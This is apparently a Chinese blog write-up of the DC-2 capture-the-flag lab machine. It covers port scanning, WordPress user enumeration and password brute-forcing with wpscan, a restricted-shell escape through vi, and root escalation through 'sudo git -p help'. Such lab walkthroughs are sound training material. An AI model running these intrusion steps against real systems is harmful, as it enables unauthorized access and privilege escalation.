DC-2

DC-2

发现主机

image-20210306181352491

扫描主机

nmap -A -T4 -v -p- 192.168.233.148

image-20210306181439925

访问80

image-20210306181607531

访问不同

hosts文件修改

vim /etc/hosts

image-20210306181722312

再次访问(flag1)

image-20210306181822276

默认后台

image-20210306182441014

制作字典(crew)

密码

image-20210306182033445

用户名

image-20210306182140591

wpscan扫描

wpscan --url http://dc-2 -e u

image-20210306182543742

保存

image-20210306182622967

爆破

wpscan --url http://dc-2 -U username.txt -P passwd.txt

image-20210306182854474

登录

jerry

image-20210306183147227

image-20210306183208827

tom

image-20210306183252381

尝试7744端口

image-20210306183353838

ssh登录

Jerry 无法登录

image-20210306183532016

tom 可以登录

image-20210306183601383

image-20210306183639880

搜索查看命令

导出环境变量

image-20210306184058111

查看可以使用的命令

image-20210306184129259

使用less查看flag3

image-20210306184354820

切换到jerry

su无法使用

image-20210306185310438

Restricted shell绕过

vi 3
:set shell =/bin/sh
:shell(执行完上一条再执行)
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin (设置环境变量)

image-20210306185501680

flag4

image-20210306185545487

git提权

image-20210306185701317

提示git nopasswd

提权命令

sudo git -p help

image-20210306190230920

image-20210306190258087

修改root密码

image-20210306190329020

切换到root

image-20210306190427381

posted @ 2021-03-06 19:09  木捏牛  阅读(101)  评论(0编辑  收藏  举报